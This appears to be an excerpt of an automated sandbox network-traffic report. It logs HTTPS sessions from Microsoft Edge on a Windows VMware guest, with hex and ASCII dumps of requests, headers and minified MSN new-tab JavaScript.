2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 70 6c 69 6e 67 21 60 29 3b 69 66 28 70 26 26 67 29 7b 63 6f 6e 73 6f 6c 65 2e 65 72 72 6f 72 28 67 29 2c 24 2e 70 75 73 68 28 67 29 3b 63 6f 6e 73 74 20 65 3d 22 68 74 74 70 73 3a 2f 2f 22 2b 46 2b 22 2f 4f 6e 65 43 6f 6c 6c 65 63 74 6f 72 2f 31 2e 30 22 2b 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 3f 22 2b 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 2e 6d 61 70 28 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 2b 22 3d 22 2b 65 6e 63 6f 64 65 55 52 49 43 6f 6d 70 6f 6e 65 6e 74 28 65 5b 74 5d 29 7d 29 29 2e 6a 6f 69 6e 28 22 26 22 29 7d 28 70 29 3b 69 66 28 69 26 26 21 70 65 72 66 6f 72 6d 61 6e 63 65 2e 67 65 74 45 6e 74 72 69 65 73 42 79 54 79 70 65 28 22 76 69 73 69 62 69 6c 69 74 79 2d 73 74 61 74 65 22 29 2e 73 6f 6d 65 Data Ascii: pling!`);if(p&&g){console.error(g),$.push(g);const e="https://"+F+"/OneCollector/1.0"+function(e){return"?"+Object.keys(e).map((function(t){return t+"="+encodeURIComponent(e[t])})).join("&")}(p);if(i&&!performance.getEntriesByType("visibility-state").some
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 5d 3b 72 65 74 75 72 6e 20 6e 3f 6e 75 6c 6c 3d 3d 3d 28 74 3d 6e 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2e 73 70 6c 69 74 28 22 2c 22 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 73 6f 72 74 28 29 3a 5b 5d 7d 76 61 72 20 76 65 3b 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6e 64 72 6f 69 64 3d 22 61 6e 64 72 6f 69 64 22 2c 65 2e 49 6f 73 3d 22 69 6f 73 22 2c 65 2e 4c 69 6e 75 78 3d 22 6c 69 6e 75 78 22 2c 65 2e 4d 61 63 6f 73 3d 22 6d 61 63 6f 73 22 2c 65 2e 57 69 6e 64 6f 77 73 3d 22 77 69 6e 64 6f 77 73 22 2c 65 2e 58 62 6f 78 3d 22 78 62 6f 78 22 7d 28 76 65 7c 7c 28 76 65 3d 7b 7d 29 29 3b 63 6f 6e 73 74 20 62 65 3d 22 64 61 74 61 2d 63 6c 69 65 6e 74 2d 73 65 74 74 69 6e 67 73 22 2c 79 65 3d 22 41 75 74 68 6f 72 69 Data Ascii: ];return n?null===(t=n.toLowerCase().split(","))\|\|void 0===t?void 0:t.sort():[]}var ve;!function(e){e.Android="android",e.Ios="ios",e.Linux="linux",e.Macos="macos",e.Windows="windows",e.Xbox="xbox"}(ve\|\|(ve={}));const be="data-client-settings",ye="Authori
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 75 6c 6c 7d 7d 63 6f 6e 73 74 20 4a 65 3d 22 5f 5f 50 61 67 65 45 78 70 65 72 69 6d 65 6e 74 49 6e 73 74 61 6e 63 65 5f 5f 22 3b 66 75 6e 63 74 69 6f 6e 20 56 65 28 65 29 7b 6c 2e 73 65 74 28 4a 65 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 47 65 28 65 29 7b 69 66 28 21 6c 2e 68 61 73 28 4a 65 29 26 26 64 28 29 29 7b 76 61 72 20 74 3b 56 65 28 4b 65 28 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 64 61 74 61 73 65 74 2e 69 6e 66 6f 7c 7c 28 6e 75 6c 6c 3d 3d 3d 28 74 3d 77 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 43 6c 61 73 73 4e 61 6d 65 28 22 70 65 72 65 67 72 69 6e 65 2d 77 69 64 67 65 74 2d 73 65 74 74 69 6e 67 73 22 29 5b 30 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 7c 7c 6e 75 6c 6c 3d 3d 3d 28 74 3d 74 2e 64 61 Data Ascii: ull}}const Je="__PageExperimentInstance__";function Ve(e){l.set(Je,e)}function Ge(e){if(!l.has(Je)&&d()){var t;Ve(Ke(document.head.dataset.info\|\|(null===(t=window.document.getElementsByClassName("peregrine-widget-settings")[0])\|\|void 0===t\|\|null===(t=t.da
2025-02-01 20:59:20 UTC	4096	IN	Data Raw: 68 28 65 29 7d 2c 67 74 28 29 26 26 43 74 28 29 2e 70 72 6f 6d 69 73 65 2e 74 68 65 6e 28 28 74 3d 3e 65 2e 70 6f 73 74 4d 65 73 73 61 67 65 28 7b 69 64 3a 22 41 75 74 68 48 65 61 64 65 72 73 22 2c 74 79 70 65 3a 74 68 69 73 2e 63 6f 6d 6d 61 6e 64 2c 70 61 79 6c 6f 61 64 3a 74 7c 7c 7b 7d 7d 29 29 29 7d 63 72 65 61 74 65 57 65 62 57 6f 72 6b 65 72 49 6e 73 74 61 6e 63 65 28 65 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 57 6f 72 6b 65 72 28 65 2c 7b 6e 61 6d 65 3a 22 77 65 62 2d 77 6f 72 6b 65 72 22 7d 29 7d 73 68 6f 75 6c 64 46 65 74 63 68 41 70 70 41 6e 6f 6e 43 6f 6f 6b 69 65 28 29 7b 72 65 74 75 72 6e 21 30 7d 67 65 74 41 75 64 69 65 6e 63 65 4d 6f 64 65 28 65 29 7b 6a 65 28 29 3b 63 6f 6e 73 74 20 74 3d 55 28 74 68 69 73 2e 61 75 74 68 43 6f 6f 6b 69 65 Data Ascii: h(e)},gt()&&Ct().promise.then((t=>e.postMessage({id:"AuthHeaders",type:this.command,payload:t\|\|{}})))}createWebWorkerInstance(e){return new Worker(e,{name:"web-worker"})}shouldFetchAppAnonCookie(){return!0}getAudienceMode(e){je();const t=U(this.authCookie

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.6	49868	40.113.110.67	443

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:20 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 36 76 35 38 68 58 43 68 34 45 53 43 51 55 63 6d 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 30 33 34 31 38 39 35 65 37 36 39 37 61 61 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: 6v58hXCh4ESCQUcm.1Context: 690341895e7697aa
2025-02-01 20:59:20 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2025-02-01 20:59:20 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 36 76 35 38 68 58 43 68 34 45 53 43 51 55 63 6d 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 30 33 34 31 38 39 35 65 37 36 39 37 61 61 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 64 65 4e 31 4e 48 63 33 2b 66 68 56 37 79 68 39 54 73 77 70 39 42 59 51 55 30 41 5a 39 46 50 4f 62 39 71 4d 46 38 34 79 37 58 65 58 49 48 58 68 6c 77 55 42 75 65 58 66 51 58 46 33 52 4e 47 6c 5a 32 58 4a 55 41 6b 38 58 71 41 79 63 31 79 6e 58 30 72 76 4c 6e 50 71 79 41 6d 34 6c 56 32 39 73 6a 63 44 41 66 51 2b 31 4f 53 36 68 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: 6v58hXCh4ESCQUcm.2Context: 690341895e7697aa<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAdeN1NHc3+fhV7yh9Tswp9BYQU0AZ9FPOb9qMF84y7XeXIHXhlwUBueXfQXF3RNGlZ2XJUAk8XqAyc1ynX0rvLnPqyAm4lV29sjcDAfQ+1OS6h
2025-02-01 20:59:20 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 36 76 35 38 68 58 43 68 34 45 53 43 51 55 63 6d 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 36 39 30 33 34 31 38 39 35 65 37 36 39 37 61 61 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: 6v58hXCh4ESCQUcm.3Context: 690341895e7697aa<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2025-02-01 20:59:20 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2025-02-01 20:59:20 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 74 53 4a 66 42 47 6c 30 36 30 2b 66 48 77 71 75 56 6c 48 57 73 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: tSJfBGl060+fHwquVlHWsA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.6	49884	204.79.197.203	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:21 UTC	1892	OUT	GET /bundles/v1/edgeChromium/latest/SSR-extension.d0b81df0decfa0886dfe.js HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-viewport-height: 876 sec-ch-ua-arch: "x86" sec-ch-viewport-width: 1232 sec-ch-ua-platform-version: "10.0.0" downlink: 1.4 sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" device-memory: 8 rtt: 100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-full-version: "117.0.2045.55" sec-ch-dpr: 1 ect: 4g Accept: / sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1
2025-02-01 20:59:21 UTC	1448	IN	HTTP/1.1 200 OK Cache-Control: public, no-transform, max-age=31535892 Content-Length: 38430 Content-Type: application/javascript Content-MD5: bg7o6QVHTez+EFJ2FCSinA== Last-Modified: Mon, 27 Jan 2025 20:51:27 GMT ETag: 0x8DD3F145E5B9437 Vary: Origin X-Cache: TCP_HIT x-ms-request-id: b4aaed7f-c01e-0034-79fd-7069d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.48.200.167,b=995828898,c=g,n=US_VA_ASHBURN,o=20940] Server-Timing: clientrtt; dur=9, clienttt; dur=511, origin; dur=0, cdntime; dur=511, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.48.200.167 Akamai-Request-ID: 3b5b24a2 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.a7c83017.1738016138.3b5b24a2 X-CID: 7 X-CCC: US Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: 0BB79E2B17FE45779B22F3B2964D95B2 Ref B: EWR311000104045 Ref C: 2025-02-01T20:59:21Z Date: Sat, 01 Feb 2025 20:59:20 GMT Connection: close
2025-02-01 20:59:21 UTC	14936	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 65 3d 7b 7d 3b 6c 65 74 20 74 2c 6e 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 29 7b 69 66 28 6e 29 72 65 74 75 72 6e 20 6e 3b 63 6f 6e 73 74 20 65 3d 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 69 6e 66 6f 22 29 3b 72 65 74 75 72 6e 20 6e 3d 28 28 2f 66 3a 5c 73 2a 28 5b 5e 3b 5d 2b 29 2f 69 2e 65 78 65 63 28 65 29 7c 7c 7b 7d 29 5b 31 5d 7c 7c 22 22 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 2c 6e 7d 65 2e 67 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 29 72 65 74 75 72 6e 20 67 6c 6f 62 61 6c 54 68 69 73 3b 74 72 79 7b 72 65 74 75 72 6e Data Ascii: !function(){"use strict";var e={};let t,n;function o(){if(n)return n;const e=document.head.getAttribute("data-info");return n=((/f:\s*([^;]+)/i.exec(e)\|\|{})[1]\|\|"").toLowerCase(),n}e.g=function(){if("object"==typeof globalThis)return globalThis;try{return
2025-02-01 20:59:21 UTC	16384	IN	Data Raw: 2e 72 65 66 65 72 65 72 2c 74 68 69 73 2e 75 73 65 72 41 67 65 6e 74 3d 65 2e 75 73 65 72 41 67 65 6e 74 2c 74 68 69 73 2e 63 6c 69 65 6e 74 44 61 74 61 3d 65 2e 63 6c 69 65 6e 74 44 61 74 61 2c 74 68 69 73 2e 6f 6e 65 53 65 72 76 69 63 65 48 65 61 64 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 74 72 79 7b 69 66 28 65 29 72 65 74 75 72 6e 20 4a 53 4f 4e 2e 70 61 72 73 65 28 65 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 28 65 2e 6f 6e 65 53 65 72 76 69 63 65 48 65 61 64 65 72 73 29 7c 7c 7b 7d 2c 74 68 69 73 2e 69 73 50 73 73 72 4d 6f 64 65 3d 74 2c 74 29 7b 63 6f 6e 73 74 20 65 3d 77 65 28 22 4f 53 41 54 45 22 2c 74 68 69 73 2e 63 6f 6f 6b 69 65 29 2c 74 3d 21 21 65 26 26 22 31 22 3d 3d 3d 65 2c 6e 3d 77 65 28 22 4f 53 41 54 22 2c 74 68 69 73 2e 63 6f 6f Data Ascii: .referer,this.userAgent=e.userAgent,this.clientData=e.clientData,this.oneServiceHeaders=function(e){try{if(e)return JSON.parse(e)}catch(e){}}(e.oneServiceHeaders)\|\|{},this.isPssrMode=t,t){const e=we("OSATE",this.cookie),t=!!e&&"1"===e,n=we("OSAT",this.coo
2025-02-01 20:59:21 UTC	7110	IN	Data Raw: 72 65 73 70 6f 6e 73 69 76 65 2d 63 61 72 64 22 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 75 3f 76 6f 69 64 20 30 3a 75 2e 6f 75 74 65 72 48 54 4d 4c 29 7c 7c 28 6e 75 6c 6c 3d 3d 3d 28 68 3d 69 5b 6f 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 7c 7c 6e 75 6c 6c 3d 3d 3d 28 68 3d 68 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 7c 7c 6e 75 6c 6c 3d 3d 3d 28 68 3d 68 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 63 73 2d 63 61 72 64 22 29 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 68 3f 76 6f 69 64 20 30 3a 68 2e 6f 75 74 65 72 48 54 4d 4c 29 7c 7c 22 22 3a 28 6e 75 6c 6c 3d 3d 3d 28 6d 3d 69 5b 6f 5d 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 6d 7c 7c 6e 75 6c 6c 3d 3d 3d 28 6d 3d 6d 2e 73 68 61 64 6f 77 52 6f 6f 74 29 7c 7c 76 6f 69 64 20 30 3d Data Ascii: responsive-card"))\|\|void 0===u?void 0:u.outerHTML)\|\|(null===(h=i[o])\|\|void 0===h\|\|null===(h=h.shadowRoot)\|\|void 0===h\|\|null===(h=h.querySelector("cs-card"))\|\|void 0===h?void 0:h.outerHTML)\|\|"":(null===(m=i[o])\|\|void 0===m\|\|null===(m=m.shadowRoot)\|\|void 0=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.6	49883	204.79.197.203	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:21 UTC	1867	OUT	GET /bundles/v1/edgeChromium/latest/web-worker.8ed343c804e9069b52b4.js HTTP/1.1 Host: ntp.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-viewport-height: 876 sec-ch-ua-arch: "x86" sec-ch-viewport-width: 1232 sec-ch-ua-platform-version: "10.0.0" downlink: 1.4 sec-ch-ua-bitness: "64" sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.55", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.150" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" device-memory: 8 rtt: 100 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-full-version: "117.0.2045.55" sec-ch-dpr: 1 ect: 4g Accept: / sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"peek","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false} Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: worker Referer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=31F15E03B2404DCFAC21A960AE4275DA.RefC=2025-02-01T20:59:20Z; USRLOC=; MUID=2B3EBBCF6B2A66521035AE496A5867C7; MUIDB=2B3EBBCF6B2A66521035AE496A5867C7; _EDGE_S=F=1&SID=385CD9DA90E66D643EE7CC5C917D6CE3; _EDGE_V=1
2025-02-01 20:59:21 UTC	1355	IN	HTTP/1.1 200 OK Cache-Control: public, no-transform, max-age=31535892 Content-Length: 31123 Content-Type: application/javascript Content-MD5: qFbJgeZ8SeIloxVnR+/fXQ== Last-Modified: Fri, 24 Jan 2025 20:13:15 GMT ETag: 0x8DD3CB389386FC3 Vary: Origin X-Cache: TCP_HIT x-ms-request-id: 0d2cddad-801e-00b3-279c-6efab2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Akamai-Request-BC: [a=23.48.200.176,b=2265664178,c=g,n=US_VA_ASHBURN,o=20940] Server-Timing: clientrtt; dur=9, clienttt; dur=1, origin; dur=0, cdntime; dur=1, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.48.200.176 Akamai-Request-ID: 870b4ab2 report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Timing-Allow-Origin: * Akamai-GRN: 0.b0c83017.1737790295.870b4ab2 X-CID: 7 X-CCC: US Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: F9E37527F7084423A879215C451C70AA Ref B: EWR311000103023 Ref C: 2025-02-01T20:59:21Z Date: Sat, 01 Feb 2025 20:59:20 GMT Connection: close
2025-02-01 20:59:21 UTC	15029	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 29 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3b 65 6c 73 65 20 69 66 28 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 26 64 65 66 69 6e 65 2e 61 6d 64 29 64 65 66 69 6e 65 28 5b 5d 2c 74 29 3b 65 6c 73 65 7b 76 61 72 20 72 3d 74 28 29 3b 66 6f 72 28 76 61 72 20 69 20 69 6e 20 72 29 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 3f 65 78 70 6f 72 74 73 3a 65 29 5b 69 5d 3d 72 5b 69 5d 7d 7d 28 73 65 6c 66 2c 28 28 29 3d 3e 28 28 29 3d 3e 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 Data Ascii: !function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var r=t();for(var i in r)("object"==typeof exports?exports:e)[i]=r[i]}}(self,(()=>(()=>{"use strict";var
2025-02-01 20:59:21 UTC	16094	IN	Data Raw: 76 69 63 65 50 69 78 65 6c 52 61 74 69 6f 22 29 29 7c 7c 31 2c 74 68 69 73 2e 5f 65 63 61 73 65 73 73 69 6f 6e 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 65 63 61 73 65 73 73 69 6f 6e 22 29 7c 7c 22 69 6e 69 74 22 2c 74 68 69 73 2e 5f 62 72 6f 77 73 65 72 4f 70 74 4f 75 74 3d 22 31 22 3d 3d 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 54 4f 70 74 4f 75 74 22 29 2c 74 68 69 73 2e 5f 64 69 73 61 62 6c 65 57 57 41 75 74 68 3d 22 31 22 3d 3d 3d 74 68 69 73 2e 67 65 74 51 75 65 72 79 50 61 72 61 6d 65 74 65 72 28 22 64 69 73 61 62 6c 65 57 57 41 75 74 68 22 29 2c 74 68 69 73 2e 5f 61 75 74 68 48 65 61 64 65 72 73 3d 74 68 69 73 2e 74 72 79 50 61 72 73 65 4a 73 6f 6e 28 74 68 69 73 2e 67 65 74 51 75 Data Ascii: vicePixelRatio"))\|\|1,this._ecasession=this.getQueryParameter("ecasession")\|\|"init",this._browserOptOut="1"===this.getQueryParameter("TOptOut"),this._disableWWAuth="1"===this.getQueryParameter("disableWWAuth"),this._authHeaders=this.tryParseJson(this.getQu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.6	49895	2.23.209.3	443	7764	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2025-02-01 20:59:22 UTC	627	OUT	GET /bundles/v1/edgeChromium/latest/vendors.a01e10d026eb0e3d85f0.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2025-02-01 20:59:22 UTC	1241	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: u4kOAMSrJMd+sMhKQlqbjA== Last-Modified: Thu, 30 Jan 2025 21:14:37 GMT ETag: 0x8DD41731A83AF42 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 930d54e7-f01e-0021-405c-73d614000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Sat, 01 Feb 2025 20:59:22 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Alt-Svc: h3=":443"; ma=86400 Akamai-Request-BC: [a=23.62.213.100,b=458039275,c=g,n=DE_HE_FRANKFURT,o=20940] Server-Timing: clientrtt; dur=86, clienttt; dur=0, origin; dur=0, cdntime; dur=0, wpo;dur=0,1s;dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.62.213.100 Akamai-Request-ID: 1b4d1feb 